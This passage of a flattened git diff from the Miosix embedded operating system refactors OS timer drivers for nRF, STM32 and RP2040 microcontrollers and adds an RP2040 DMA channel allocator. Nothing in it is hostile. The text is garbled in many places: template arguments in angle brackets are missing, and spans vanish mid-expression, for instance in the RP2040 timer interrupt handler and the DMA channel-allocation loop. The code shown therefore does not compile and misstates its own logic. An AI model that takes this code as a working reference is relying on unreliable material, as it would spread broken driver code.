NRF_TIMER1->TASKS_STOP=1; + NRF_TIMER1->TASKS_CLEAR=1; + NRF_TIMER1->MODE=0; //Timer mode + NRF_TIMER1->BITMODE=3; //32bit + NRF_TIMER1->PRESCALER=0; //Maximum frequency + NRF_TIMER1->CC[2]=0; //Emulate overflow IRQ + NRF_TIMER1->INTENSET=0b000101<<16; //Enable IRQ on channel 0 and 2 + IRQregisterIrq(lock,TIMER1_IRQn,&TimerAdapter::IRQhandler, + static_cast*>(this)); + #ifndef OS_TIMER_MODEL_UNIFIED + IRQinitCoreLocalPreemptionTimer(); + #endif //OS_TIMER_MODEL_UNIFIED + } +}; + +static NRFTimer1 timer; +DEFAULT_OS_TIMER_INTERFACE_IMPLEMENTATION(timer); + +} //namespace miosix diff --git a/miosix/arch/drivers/os_timer/rp2040_os_timer.cpp b/miosix/arch/drivers/os_timer/rp2040_os_timer.cpp new file mode 100644 index 000000000..d9295541a --- /dev/null +++ b/miosix/arch/drivers/os_timer/rp2040_os_timer.cpp @@ -0,0 +1,264 @@ +/*************************************************************************** + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "miosix_settings.h" +#include "kernel/lock.h" +#include "interfaces/arch_registers.h" +#include "interfaces/delays.h" +#include "interfaces/interrupts.h" +#include "interfaces_private/os_timer.h" +#include "interfaces_private/cpu.h" +#include "arch/cpu/common/cortexMx_interrupts.h" + +namespace miosix { + +static TimeConversion tc(48000000); +static long long lastAlarmTicks=0x7FFFFFFFFFFFFFFFLL; +static long long irqNs=0x7FFFFFFFFFFFFFFFLL; + +/** + * \internal + * Get raw tick count from the timer. + * \returns the current tick count. + */ +static inline long long IRQgetTicks() noexcept +{ + //Timer has latching registers that however break when multiple cores read + //at the same time, so don't use them + unsigned int h1=timer_hw->timerawh; + unsigned int l1=timer_hw->timerawl; + unsigned int h2=timer_hw->timerawh; + if(h1==h2) + return static_cast(h1)<<32 | static_cast(l1); + else + return static_cast(h2)<<32 | static_cast(timer_hw->timerawl); +} + +long long getTime() noexcept +{ + FastGlobalIrqLock dLock; + return tc.tick2ns(IRQgetTicks()); +} + +long long IRQgetTime() noexcept +{ + return tc.tick2ns(IRQgetTicks()); +} + +/** + * \internal + * Set the current system time. + * It is used by the kernel, and should not be used by end users. + * Used to adjust the time for example if the system clock was stopped due to + * entering deep sleep. + * Can be called with interrupts disabled or within an interrupt. + * \param ns value to set the hardware timer to. Note that the timer can + * only be set to a higher value, never to a lower one, as the OS timer + * needs to be monotonic. + * If an interrupt has been set with IRQsetNextInterrupt, it needs to be + * moved accordingly or fired immediately if the timer advance causes it + * to be in the past. + */ +void IRQosTimerSetTime(long long ns) noexcept +{ + auto newTicks=tc.ns2tick(ns); + timer_hw->pause=1; + timer_hw->timelw=static_cast(newTicks & 0xffffffff); + timer_hw->timehw=static_cast(newTicks>>32); + timer_hw->pause=0; + //Force a timer interrupt for all alarms currently configured. The timer + //interrupt handler will check if the alarm is true or not. + //With SMP enabled this may trigger an IRQ to another core, and this is why + //we are not simply setting the IRQ as pending in the NVIC. + //TODO: test me please! + //TODO: moving ahead the time may cause interrupts to become pending! + timer_hw->intf=timer_hw->armed & 0x3; +} + +/** + * \internal + * Handles the timer interrupt, checking if the alarm period is indeed + * elapsed and calling the kernel if so. + */ +template +static void IRQtimerInterruptHandler(void *arg) +{ + FastGlobalLockFromIrq irq; + timer_hw->intf &= ~(1<intr=1<alarm[AlarmId]=static_cast(twake & 0xffffffff); + } else { + // On multi core platforms if the interrupt is not fired from + // WAKEUP_HANDLING_CORE we just need to call the scheduler + IRQinvokeScheduler(); + } +} + +/** + * \internal + * Initialize and start the os timer. + * It is used by the kernel, and should not be used by end users. + */ +void IRQosTimerInit() +{ + GlobalIrqLock lock; // does nothing, but is needed by IRQregisterIrq + //Bring timer out of reset + clocks_hw->wake_en1|=CLOCKS_WAKE_EN1_CLK_SYS_TIMER_BITS; + clocks_hw->sleep_en1|=CLOCKS_SLEEP_EN1_CLK_SYS_TIMER_BITS; + resets_hw->reset&= ~RESETS_RESET_TIMER_BITS; + while((resets_hw->reset_done & RESETS_RESET_TIMER_BITS)==0) ; + //Enable timer interrupt generation + #ifdef WITH_SMP + timer_hw->inte=TIMER_INTE_ALARM_0_BITS|TIMER_INTE_ALARM_1_BITS; + #else //WITH_SMP + timer_hw->inte=TIMER_INTE_ALARM_0_BITS; + IRQregisterIrq(lock,TIMER_IRQ_0_IRQn,IRQtimerInterruptHandler<0>); + #ifndef OS_TIMER_MODEL_UNIFIED + IRQinitCoreLocalPreemptionTimer(); + #endif + #endif //WITH_SMP + //Toggle debug sleep mode. Works around a bug where the timer does not + //start counting if it was reset while it was paused due to debug mode. + timer_hw->dbgpause=0; + delayUs(1); + timer_hw->dbgpause=3; +} + +#ifdef WITH_SMP +/** + * \internal + * Initialize the OS timer for a given core during SMP setup. + * This function is used by the kernel, and should not be used by end users, and + * is called by SMP setup code. + * On non-SMP platforms it is not called. + */ +void IRQosTimerInitSMP() +{ + #ifdef OS_TIMER_MODEL_UNIFIED + if(getCurrentCoreId()==0) + { + IRQregisterIrqOnCurrentCore(TIMER_IRQ_0_IRQn,IRQtimerInterruptHandler<0>,nullptr); + } else { + IRQregisterIrqOnCurrentCore(TIMER_IRQ_1_IRQn,IRQtimerInterruptHandler<1>,nullptr); + } + #else //OS_TIMER_MODEL_UNIFIED + IRQinitCoreLocalPreemptionTimer(); + if(getCurrentCoreId()==WAKEUP_HANDLING_CORE) + IRQregisterIrqOnCurrentCore(TIMER_IRQ_1_IRQn, + IRQtimerInterruptHandler,nullptr); + #endif //OS_TIMER_MODEL_UNIFIED +} + +#ifdef OS_TIMER_MODEL_UNIFIED +void IRQosTimerSetPreemption(unsigned int ns) noexcept +{ + int coreId=getCurrentCoreId(); + //Writing to the ALARM register also enables the timer + unsigned int ticks=ns/21; //Imprecise conversion is acceptable here + unsigned int alarm=timer_hw->timerawl+ticks; + timer_hw->alarm[coreId]=alarm; + if(timer_hw->timerawl>=alarm) + { + if(coreId==0) NVIC_SetPendingIRQ(TIMER_IRQ_0_IRQn); + else NVIC_SetPendingIRQ(TIMER_IRQ_1_IRQn); + } +} +#endif //OS_TIMER_MODEL_UNIFIED +#endif //WITH_SMP + +/** + * \internal + * Set the next interrupt on the current core. + * It is used by the kernel, and should not be used by end users. + * Can be called with interrupts disabled or within an interrupt. + * The hardware timer handles only one outstading interrupt request at a + * time, so a new call before the interrupt expires cancels the previous one. + * \param ns the absolute time when the interrupt will be fired, in nanoseconds. + * When the interrupt fires, it shall call the + * \code + * void IRQwakeThreads(long long currentTime); + * \endcode + * function defined in thread.cpp + */ +void IRQosTimerSetInterrupt(long long ns) noexcept +{ + irqNs=ns; + auto twake=tc.ns2tick(ns); + lastAlarmTicks=twake; + //Writing to the ALARM register also enables the timer + timer_hw->alarm[WAKEUP_HANDLING_CORE]=static_cast(twake & 0xffffffff); + if(twake<=IRQgetTicks()) + { + // NOTE: can't use NVIC_SetPendingIRQ as this function can be used for + // another core to set the interrupt of the WAKEUP_HANDLING_CORE, and + // the NVIC is per-core + if(WAKEUP_HANDLING_CORE==0) timer_hw->intf|=1<<0; + else timer_hw->intf|=1<<1; + } +} + +/** + * \return if the last timer interrupt time that was scheduled with + * IRQosTimerSetInterrupt() is still pending, return the abolute time in + * nanoseconds of the pending interrupt. If the interrupt time already passed + * no further interrupt has been set, return numeric_limits::max() + */ +long long IRQosTimerGetInterrupt() noexcept +{ + return irqNs; +} + +/** + * \internal + * It is used by the kernel, and should not be used by end users. + * \return the timer frequency in Hz. + * If a prescaler is used, it should be taken into account, the returned + * value should be equal to the frequency at which the timer increments in + * an observable way through IRQgetCurrentTime() + */ +unsigned int osTimerGetFrequency() +{ + return 48000000; +} + +} // namespace miosix diff --git a/miosix/arch/common/core/stm32_16bit_os_timer.cpp b/miosix/arch/drivers/os_timer/stm32_16bit_os_timer.cpp similarity index 87% rename from miosix/arch/common/core/stm32_16bit_os_timer.cpp rename to miosix/arch/drivers/os_timer/stm32_16bit_os_timer.cpp index 7e5b8bae7..be4015c27 100644 --- a/miosix/arch/common/core/stm32_16bit_os_timer.cpp +++ b/miosix/arch/drivers/os_timer/stm32_16bit_os_timer.cpp @@ -25,9 +25,9 @@ * along with this program; if not, see * ***************************************************************************/ -#include "kernel/kernel.h" -#include "interfaces/os_timer.h" +#include "kernel/lock.h" #include "interfaces/arch_registers.h" +#include "interfaces_private/os_timer.h" #include "kernel/logging.h" #ifndef WITH_RTC_AS_OS_TIMER @@ -54,10 +54,9 @@ class STM32Timer14HW DBGMCU->APB1FZ |= DBGMCU_APB1_FZ_DBG_TIM14_STOP; //Stop while debugging } }; -#define IRQ_HANDLER_NAME TIM14_IRQHandler -#define TIMER_HW_CLASS STM32Timer14HW +using STM32TimerHW = STM32Timer14HW; -#elif defined(_ARCH_CORTEXM0PLUS_STM32L0) +#elif defined(_CHIP_STM32L0) class STM32Timer22HW { @@ -77,8 +76,7 @@ class STM32Timer22HW DBGMCU->APB2FZ |= DBGMCU_APB2_FZ_DBG_TIM22_STOP; //Stop while debugging } }; -#define IRQ_HANDLER_NAME TIM22_IRQHandler -#define TIMER_HW_CLASS STM32Timer22HW +using STM32TimerHW = STM32Timer22HW; #else @@ -97,15 +95,14 @@ class STM32Timer4HW { RCC->APB1ENR |= RCC_APB1ENR_TIM4EN; RCC_SYNC(); - #ifndef _ARCH_CORTEXM3_STM32L1 + #ifndef _CHIP_STM32L1 DBGMCU->CR |= DBGMCU_CR_DBG_TIM4_STOP; //Stop while debugging #else DBGMCU->APB1FZ |= DBGMCU_APB1_FZ_DBG_TIM4_STOP; //Stop while debugging #endif } }; -#define IRQ_HANDLER_NAME TIM4_IRQHandler -#define TIMER_HW_CLASS STM32Timer4HW +using STM32TimerHW = STM32Timer4HW; #endif @@ -145,23 +142,24 @@ class STM32Timer : public TimerAdapter, 16> return timerFrequency; } - static void IRQinitTimer() + void IRQinitTimer() { + GlobalIrqLock lock; // does nothing, but is needed by IRQregisterIrq T::IRQenable(); - // Setup TIM4 base configuration + // Setup base configuration // Mode: Up-counter // Interrupts: counter overflow, Compare/Capture on channel 1 T::get()->CR1=TIM_CR1_URS; T::get()->DIER=TIM_DIER_UIE | TIM_DIER_CC1IE; - NVIC_SetPriority(T::getIRQn(),3); //High priority for TIM4 (Max=0, min=15) - NVIC_EnableIRQ(T::getIRQn()); + IRQregisterIrq(lock,T::getIRQn(),&TimerAdapter,16>::IRQhandler, + static_cast,16>*>(this)); // Configure channel 1 as: // Output channel (CC1S=0) - // No preload(OC1PE=0), hence TIM4_CCR1 can be written at anytime + // No preload(OC1PE=0), hence CCR1 can be written at anytime // No effect on the output signal on match (OC1M = 0) T::get()->CCMR1 = 0; T::get()->CCR1 = 0; - // TIM4 Operation Frequency Configuration: Max Freq. and longest period + // Operation Frequency Configuration: Max Freq. and longest period // The global variable SystemCoreClock from ARM's CMSIS allows to know // the CPU frequency. @@ -189,23 +187,14 @@ class STM32Timer : public TimerAdapter, 16> T::get()->PSC = (timerInputFreq/timerFrequency)-1; T::get()->ARR = 0xFFFF; T::get()->EGR = TIM_EGR_UG; //To enforce the timer to apply PSC + #ifndef OS_TIMER_MODEL_UNIFIED + IRQinitCoreLocalPreemptionTimer(); + #endif //OS_TIMER_MODEL_UNIFIED } }; -static STM32Timer timer; -DEFAULT_OS_TIMER_INTERFACE_IMPLMENTATION(timer); +static STM32Timer timer; +DEFAULT_OS_TIMER_INTERFACE_IMPLEMENTATION(timer); } //namespace miosix -void __attribute__((naked)) IRQ_HANDLER_NAME() -{ - saveContext(); - asm volatile ("bl _Z11osTimerImplv"); - restoreContext(); -} - -void __attribute__((used)) osTimerImpl() -{ - miosix::timer.IRQhandler(); -} - #endif //#ifndef WITH_RTC_AS_OS_TIMER diff --git a/miosix/arch/common/core/stm32_32bit_os_timer.cpp b/miosix/arch/drivers/os_timer/stm32_32bit_os_timer.cpp similarity index 79% rename from miosix/arch/common/core/stm32_32bit_os_timer.cpp rename to miosix/arch/drivers/os_timer/stm32_32bit_os_timer.cpp index 22a5f67b0..28a08ee58 100644 --- a/miosix/arch/common/core/stm32_32bit_os_timer.cpp +++ b/miosix/arch/drivers/os_timer/stm32_32bit_os_timer.cpp @@ -25,13 +25,13 @@ * along with this program; if not, see * ***************************************************************************/ -#include "kernel/kernel.h" -#include "interfaces/os_timer.h" +#include "kernel/lock.h" #include "interfaces/arch_registers.h" +#include "interfaces_private/os_timer.h" namespace miosix { -#if defined(_ARCH_CORTEXM0_STM32F0) || defined(_ARCH_CORTEXM4_STM32F3) +#if defined(_CHIP_STM32F0) || defined(_CHIP_STM32F3) || defined(_CHIP_STM32H5) || defined(_CHIP_STM32U5) class STM32Timer2HW { @@ -41,8 +41,10 @@ class STM32Timer2HW static inline int IRQgetClock() { unsigned int result=SystemCoreClock; - #if _ARCH_CORTEXM0_STM32F0 + #if defined(_CHIP_STM32F0) if(RCC->CFGR & RCC_CFGR_PPRE_2) result/=1<<((RCC->CFGR>>8) & 0x3); + #elif defined(_CHIP_STM32H5) || defined(_CHIP_STM32U5) + if(RCC->CFGR2 & RCC_CFGR2_PPRE1_2) result/=1<<((RCC->CFGR2>>4) & 0x3); #else if(RCC->CFGR & RCC_CFGR_PPRE1_2) result/=1<<((RCC->CFGR>>8) & 0x3); #endif @@ -50,13 +52,22 @@ class STM32Timer2HW } static inline void IRQenable() { + #if defined(_CHIP_STM32H5) + RCC->APB1LENR |= RCC_APB1LENR_TIM2EN; + RCC_SYNC(); + DBGMCU->APB1FZR1 |= DBGMCU_APB1FZR1_DBG_TIM2_STOP; //Stop while debugging + #elif defined(_CHIP_STM32U5) + RCC->APB1ENR1 |= RCC_APB1ENR1_TIM2EN; + RCC_SYNC(); + DBGMCU->APB1FZR1 |= DBGMCU_APB1FZR1_DBG_TIM2_STOP; //Stop while debugging + #else RCC->APB1ENR |= RCC_APB1ENR_TIM2EN; RCC_SYNC(); DBGMCU->APB1FZ |= DBGMCU_APB1_FZ_DBG_TIM2_STOP; //Stop while debugging + #endif } }; -#define IRQ_HANDLER_NAME TIM2_IRQHandler -#define TIMER_HW_CLASS STM32Timer2HW +using STM32TimerHW = STM32Timer2HW; #else @@ -68,7 +79,7 @@ class STM32Timer5HW static inline int IRQgetClock() { unsigned int result=SystemCoreClock; - #if defined(_ARCH_CORTEXM7_STM32H7) + #if defined(_CHIP_STM32H7) #ifndef STM32H753xx // In stm32h723/h755 MCUs there isn't any prescaler 2x, for this reason when the // prescaler is enabled we will have to divide it for 2^PPRE and not for 2^(PPRE-1) @@ -83,11 +94,11 @@ class STM32Timer5HW } static inline void IRQenable() { - #if defined(_ARCH_CORTEXM7_STM32H7) + #if defined(_CHIP_STM32H7) RCC->APB1LENR |= RCC_APB1LENR_TIM5EN; RCC_SYNC(); DBGMCU->APB1LFZ1 |= DBGMCU_APB1LFZ1_DBG_TIM5; //Stop while debugging - #elif defined(_ARCH_CORTEXM4_STM32L4) + #elif defined(_CHIP_STM32L4) RCC->APB1ENR1 |= RCC_APB1ENR1_TIM5EN; RCC_SYNC(); DBGMCU->APB1FZR1 |= DBGMCU_APB1FZR1_DBG_TIM5_STOP; //Stop while debugging @@ -98,8 +109,7 @@ class STM32Timer5HW #endif } }; -#define IRQ_HANDLER_NAME TIM5_IRQHandler -#define TIMER_HW_CLASS STM32Timer5HW +using STM32TimerHW = STM32Timer5HW; #endif @@ -129,7 +139,7 @@ class STM32Timer : public TimerAdapter, 32> // The global variable SystemCoreClock from ARM's CMSIS allows to know // the CPU frequency. // However, the timer frequency may be a submultiple of the CPU frequency, - // due to the bus at whch the periheral is connected being slower. The + // due to the bus at which the peripheral is connected being slower. The // RCC configuration registers tells us how slower the APB1 bus is running. // This formula takes into account that if the APB1 clock is divided by a // factor of two or greater, the timer is clocked at twice the bus @@ -141,41 +151,34 @@ class STM32Timer : public TimerAdapter, 32> return T::IRQgetClock(); } - static void IRQinitTimer() + void IRQinitTimer() { + GlobalIrqLock lock; // does nothing, but is needed by IRQregisterIrq T::IRQenable(); - // Setup TIM5 base configuration + // Setup base configuration // Mode: Up-counter // Interrupts: counter overflow, Compare/Capture on channel 1 T::get()->CR1=TIM_CR1_URS; T::get()->DIER=TIM_DIER_UIE | TIM_DIER_CC1IE; - NVIC_SetPriority(T::getIRQn(),3); //High priority for TIM5 (Max=0, min=15) - NVIC_EnableIRQ(T::getIRQn()); + IRQregisterIrq(lock,T::getIRQn(),&TimerAdapter, 32>::IRQhandler, + static_cast, 32>*>(this)); // Configure channel 1 as: // Output channel (CC1S=0) - // No preload(OC1PE=0), hence TIM5_CCR1 can be written at anytime + // No preload(OC1PE=0), hence CCR1 can be written at any time // No effect on the output signal on match (OC1M = 0) T::get()->CCMR1 = 0; T::get()->CCR1 = 0; - // TIM5 Operation Frequency Configuration: Max Freq. and longest period + // Operation Frequency Configuration: Max Freq. and longest period T::get()->PSC = 0; T::get()->ARR = 0xFFFFFFFF; T::get()->EGR = TIM_EGR_UG; //To enforce the timer to apply PSC + #ifndef OS_TIMER_MODEL_UNIFIED + IRQinitCoreLocalPreemptionTimer(); + #endif //OS_TIMER_MODEL_UNIFIED } }; -static STM32Timer timer; -DEFAULT_OS_TIMER_INTERFACE_IMPLMENTATION(timer); -} //namespace miosix +static STM32Timer timer; +DEFAULT_OS_TIMER_INTERFACE_IMPLEMENTATION(timer); -void __attribute__((naked)) IRQ_HANDLER_NAME() -{ - saveContext(); - asm volatile ("bl _Z11osTimerImplv"); - restoreContext(); -} - -void __attribute__((used)) osTimerImpl() -{ - miosix::timer.IRQhandler(); -} +} //namespace miosix diff --git a/miosix/arch/common/core/stm32_rtc_os_timer.cpp b/miosix/arch/drivers/os_timer/stm32_rtc_os_timer.cpp similarity index 85% rename from miosix/arch/common/core/stm32_rtc_os_timer.cpp rename to miosix/arch/drivers/os_timer/stm32_rtc_os_timer.cpp index 7b83f3c9e..7268e0dbd 100644 --- a/miosix/arch/common/core/stm32_rtc_os_timer.cpp +++ b/miosix/arch/drivers/os_timer/stm32_rtc_os_timer.cpp @@ -25,10 +25,10 @@ * along with this program; if not, see * ***************************************************************************/ -#include "kernel/kernel.h" -#include "interfaces/os_timer.h" +#include "kernel/lock.h" #include "interfaces/arch_registers.h" -#include "interfaces/deep_sleep.h" +#include "interfaces_private/os_timer.h" +#include "interfaces_private/sleep.h" #include "kernel/logging.h" #ifdef WITH_RTC_AS_OS_TIMER @@ -165,10 +165,10 @@ class STM32F1RTC_Timer : public TimerAdapter static unsigned int IRQTimerFrequency() { return 16384; } - static void IRQinitTimer() + void IRQinitTimer() { { - FastInterruptDisableLock dLock; + GlobalIrqLock dLock; RCC->APB1ENR |= RCC_APB1ENR_PWREN | RCC_APB1ENR_BKPEN; RCC_SYNC(); PWR->CR |= PWR_CR_DBP; @@ -176,6 +176,9 @@ class STM32F1RTC_Timer : public TimerAdapter | RCC_BDCR_LSEON //External 32KHz oscillator enabled | RCC_BDCR_RTCSEL_0; //Select LSE as clock source for RTC RCC_SYNC(); + IRQregisterIrq(dLock,RTC_IRQn, + &TimerAdapter::IRQhandler, + static_cast*>(this)); } while((RCC->BDCR & RCC_BDCR_LSERDY)==0) ; //Wait for LSE to start @@ -189,17 +192,17 @@ class STM32F1RTC_Timer : public TimerAdapter RTC->CNTH=0; RTC->CNTL=0; RTC->ALRH=0xffff; RTC->ALRL=0xffff; } - //High priority for RTC (Max=0, min=15) - NVIC_SetPriority(RTC_IRQn,3); - NVIC_EnableIRQ(RTC_IRQn); - // We can't stop the RTC during debugging, so debugging won't be easy. // Actually, we can't stop the RTC at all once we start it... + + #ifndef OS_TIMER_MODEL_UNIFIED + IRQinitCoreLocalPreemptionTimer(); + #endif //OS_TIMER_MODEL_UNIFIED } }; static STM32F1RTC_Timer timer; -DEFAULT_OS_TIMER_INTERFACE_IMPLMENTATION(timer); +DEFAULT_OS_TIMER_INTERFACE_IMPLEMENTATION(timer); #ifdef WITH_DEEP_SLEEP @@ -212,23 +215,26 @@ void IRQdeepSleepInit() static bool IRQdeepSleepImpl(bool withTimeout) { unsigned int lowerTickBefore=timer.IRQgetTimerCounter(); - #ifndef RUN_WITH_HSI - // The HSI oscillator, even with PLL, starts so fast that it does not impact - // lag from returining from application sleeps that resulted in deep sleep. - // The HSE, however, takes up to 10 ticks to restart. In this case we want - // to check whether the wakeup time is too close, and in that case not even - // enter deep sleep. If the sleep is longer, we wakeup in advance and then - // sleep the rest of the time. Tested with _tools/delay_test/os_timer_test.cpp - const unsigned int minTicks=13;//TODO: increasing it further does not improve - long long irqTick; - if(withTimeout) + static_assert(oscillatorType==OscillatorType::HSE || oscillatorType==OscillatorType::HSI, + "Unsupported oscillator type"); + if(oscillatorType==OscillatorType::HSE) { - long long tick=timer.IRQgetTimeTickFromCounter(lowerTickBefore); - irqTick=timer.IRQgetIrqTick(); - if(irqTick-tickCRL & RTC_CRL_OWF)) timer.IRQquirkIncrementUpperCounter(); - #ifndef RUN_WITH_HSI - if(withTimeout) + if(oscillatorType==OscillatorType::HSE) { - //Restore the previous interrupt time and return false so we consume the - //slack time in (non deep) sleep - timer.IRQsetIrqTick(irqTick); - return false; + if(withTimeout) + { + //Restore the previous interrupt time and return false so we consume the + //slack time in (non deep) sleep + timer.IRQsetIrqTick(irqTick); + return false; + } } - #endif //RUN_WITH_HSI return true; } @@ -319,14 +326,14 @@ bool IRQdeepSleep() // Set RTC->CNTH=0xffff; RTC->CNTL=0; in timer init not to wait 72 hours till test end. void test() { - FastInterruptDisableLock dLock; + FastGlobalIrqLock dLock; long long lastgood=0; for(;;) { auto current=timer.IRQgetTimeTick(); if(current>0x180000000LL) { - FastInterruptEnableLock eLock(dLock); + FastGlobalIrqUnlock eLock(dLock); iprintf("Test failed fail=0x%llx lastgood=0x%llx\n",current,lastgood); } else if(current==0x100001000LL) IRQerrorLog("Test end\r\n"); lastgood=current; @@ -334,16 +341,4 @@ void test() }*/ } //namespace miosix -void __attribute__((naked)) RTC_IRQHandler() -{ - saveContext(); - asm volatile("bl _Z11osTimerImplv"); - restoreContext(); -} - -void __attribute__((used)) osTimerImpl() -{ - miosix::timer.IRQhandler(); -} - #endif //WITH_RTC_AS_OS_TIMER diff --git a/miosix/arch/drivers/rp2040_dma.cpp b/miosix/arch/drivers/rp2040_dma.cpp new file mode 100644 index 000000000..ff6ab8225 --- /dev/null +++ b/miosix/arch/drivers/rp2040_dma.cpp @@ -0,0 +1,109 @@ +/*************************************************************************** + * Copyright (C) 2025 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "rp2040_dma.h" +#include "kernel/error.h" +#include "interfaces/interrupts.h" + +namespace miosix { + +bool RP2040Dma::initialized=false; +unsigned int RP2040Dma::irqAllocMask = 0; +RP2040Dma::DmaIrqEntry RP2040Dma::irqEntries[RP2040Dma::numChannels]; + +unsigned int RP2040Dma::IRQregisterChannel(GlobalIrqLock& lock, + void (*handler)(void*), void *arg) noexcept +{ + if(!initialized) IRQinitialize(lock); + unsigned int channel=0, chMask=1; + while(channel=numChannels) errorHandler(Error::UNEXPECTED); + + irqAllocMask|=chMask; + irqEntries[channel].handler=handler; + irqEntries[channel].arg=arg; + if(channel%2==0) dma_hw->inte0|=chMask; + else dma_hw->inte1|=chMask; + return channel; +} + +void RP2040Dma::IRQunregisterChannel(GlobalIrqLock& lock, unsigned int channel, + void (*handler)(void*), void *arg) noexcept +{ + unsigned int chMask=1U<inte0&=~chMask; + else dma_hw->inte1&=~chMask; + irqAllocMask&=~chMask; + irqEntries[channel].handler=nullptr; + irqEntries[channel].arg=0; +} + +void RP2040Dma::IRQinitialize(GlobalIrqLock& lock) noexcept +{ + clocks_hw->wake_en0|=CLOCKS_WAKE_EN0_CLK_SYS_DMA_BITS; + clocks_hw->sleep_en0|=CLOCKS_SLEEP_EN0_CLK_SYS_DMA_BITS; + unreset_block_wait(RESETS_RESET_DMA_BITS); + IRQregisterIrq(lock,DMA_IRQ_0_IRQn,&IRQinterruptHandler<0>); + IRQregisterIrq(lock,DMA_IRQ_1_IRQn,&IRQinterruptHandler<1>); + initialized=true; +} + +template +void RP2040Dma::IRQinterruptHandler() noexcept +{ + FastGlobalLockFromIrq lock; + io_rw_32 *status; + if(IrqId==0) status=&dma_hw->ints0; + else status=&dma_hw->ints1; + + unsigned int ch=0, chMask=1; + unsigned int curStatus=*status; + while(ch * + ***************************************************************************/ + +#pragma once + +#include "interfaces/arch_registers.h" +#include "kernel/lock.h" + +namespace miosix { + +/** + * Class for reserving DMA channels and registering interrupt handlers on the + * RP2040. + * + * The RP2040 DMA peripheral is very good because all channels are the same. + * But it's also very bad because all channels share the same interrupt handler + * -- well, not exactly; two interrupt handlers in fact. + * So the simple option for using DMA -- i.e. hardcoding channels -- is a bit of + * a mess because you can't hardcode the interrupt handler ID as in DMAs with + * different interrupt handlers per channel. + * This class resolves the interrupt handling problem and also allows to share + * the DMA peripheral more easily. + * + * Note that individual peripheral drivers are trusted to not touch any + * DMA channel they do not own, and must configure the DMA peripheral manually + * There is no abstraction of the DMA peripheral here, just the resource + * management bit. + */ +class RP2040Dma +{ +public: + /** + * Reserve a DMA channel and registers an interrupt handler for it. + * \param lock a GlobalIrqLock (GIL) lock that must be already taken here + * \param handler pointer to the handler function of type void (*)(void*). + * The handler will be called with the GIL already fully locked (this is + * different than what is required in handlers registered by IRQregisterIrq) + * \param arg optional void* argument. This argument is stored in the + * interrupt handling logic and passed as-is whenever the interrupt handler + * is called. If omitted, the handler function is called with nullptr as + * argument. + * \returns the ID of the DMA channel that has been reserved. + * + * \note This function calls errorHandler() causing a reboot if attempting + * to reserve more DMA channels than there are available. + */ + static unsigned int IRQregisterChannel(GlobalIrqLock& lock, + void (*handler)(void*), void *arg=nullptr) noexcept; + + /** + * Reserve a DMA channel and registers a class member function as its + * interrupt handler. + * \param lock a GlobalIrqLock (GIL) lock that must be already taken here + * \param mfn member function pointer to the class method to be registered + * as interrupt handler. The method shall take no parameters. + * The handler will be called with the GIL already fully locked (this is + * different than what is required in handlers registered by IRQregisterIrq) + * \param object class instance whose methods shall be called as interrupt + * handler. + * \returns the ID of the DMA channel that has been reserved. + * + * \note This function calls errorHandler() causing a reboot if attempting + * to reserve more DMA channels than there are available. + */ + template + static unsigned int IRQregisterChannel(GlobalIrqLock& lock, + void (T::*mfn)(), T *object) noexcept + { + auto res=unmember(mfn,object); + return IRQregisterChannel(lock,std::get<0>(res),std::get<1>(res)); + } + + /** + * Free a DMA channel and unregisters its interrupt handler. + * \param lock a GlobalIrqLock (GIL) lock that must be already taken here. + * \param channel DMA channel identifier to be freed. + * \param handler pointer to the currently registered handler function of + * type void (*)(void*) + * \param arg optional void* argument previously specified when registering + * the handler. + * + * \note This function calls errorHandler() causing a reboot if attempting + * to free a DMA channel that has not been reserved, or if the channel's + * interrupt handler is different than the one currently registered. + */ + static void IRQunregisterChannel(GlobalIrqLock& lock, unsigned int channel, + void (*handler)(void*), void *arg=nullptr) noexcept; + + /** + * Free a DMA channel and unregisters its interrupt handler. + * \param lock a GlobalIrqLock (GIL) lock that must be already taken here. + * \param channel DMA channel identifier to be freed. + * \param mfn member function pointer to the class method that has been + * previously registered as interrupt handler. + * \param object class instance previously specified to be used for invoking + * the member function. + * + * \note This function calls errorHandler() causing a reboot if attempting + * to free a DMA channel that has not been reserved, or if the channel's + * interrupt handler is different than the one currently registered. + */ + template + static void IRQunregisterChannel(GlobalIrqLock& lock, unsigned int channel, + void (T::*mfn)(), T *object) noexcept + { + auto res=unmember(mfn,object); + IRQunregisterChannel(lock,channel,std::get<0>(res),std::get<1>(res)); + } + +private: + /// \internal Lazy initializer for the DMA reservation table + static void IRQinitialize(GlobalIrqLock& lock) noexcept; + + /// \internal Common interrupt handler for all channels + template + static void IRQinterruptHandler() noexcept; + + static bool initialized; + static constexpr unsigned int numChannels=12; + static unsigned int irqAllocMask; + struct DmaIrqEntry + { + void (*handler)(void *); + void *arg; + }; + static DmaIrqEntry irqEntries[numChannels]; +}; + +} // namespace miosix diff --git a/miosix/arch/drivers/sdmmc/lpc2000_sd.cpp b/miosix/arch/drivers/sdmmc/lpc2000_sd.cpp new file mode 100644 index 000000000..40cf51dc3 